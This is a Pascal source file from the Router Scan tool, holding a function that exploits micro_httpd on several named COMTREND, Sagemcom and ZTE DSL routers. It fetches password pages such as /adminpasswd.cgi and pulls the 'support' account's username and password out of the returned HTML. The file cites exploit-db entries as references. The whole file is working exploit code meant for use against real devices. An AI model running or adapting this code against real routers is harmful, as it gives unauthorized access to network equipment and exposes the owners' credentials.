// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// https://www.exploit-db.com/exploits/16275/
// https://www.exploit-db.com/exploits/18101/
// https://www.exploit-db.com/exploits/37801/

function TRouter.Exploit_MicroDSLpwdSupport(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  S: String;
  B: Boolean;
begin
  // Affected:
  // COMTREND CT-5367 (fw A111-312BTC-C01_R12)
  // COMTREND CT-5624 (fw A011-306TSR-C01_R03)
  // Sagemcom F@ST 3864 V2 (fw 7.253.2_F3864V2_Optus)
  // ZTE ZXDSL 831AII (fw V4.1.0b E09 RU)
  // ZTE ZXDSL 831CII (fw V5.2.0a E09 RU2)
  Result := False;
  if ServerName <> 'micro_httpd' then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/adminpasswd.cgi',
  S, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass);
  B := Pos('pwdSupport = ''', S) > 0;

  if not B then begin
    GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/password.html',
    S, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass);
    B := Pos('pwdSupport = ''', S) > 0;
  end;

  if not B then begin
    GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/password.cgi',
    S, Code, 5, 0, ServerName, UseAuth, AuthUser, AuthPass);
    B := Pos('pwdSupport = ''', S) > 0;
  end;

  if B then begin
    Result := True;
    AuthUser := DeleteBetween(S, 'nameSupport = ''', ''';');
    if AuthUser = '' then
      AuthUser := 'support';
    AuthPass := DeleteBetween(S, 'pwdSupport = ''', ''';');
  end;
end;
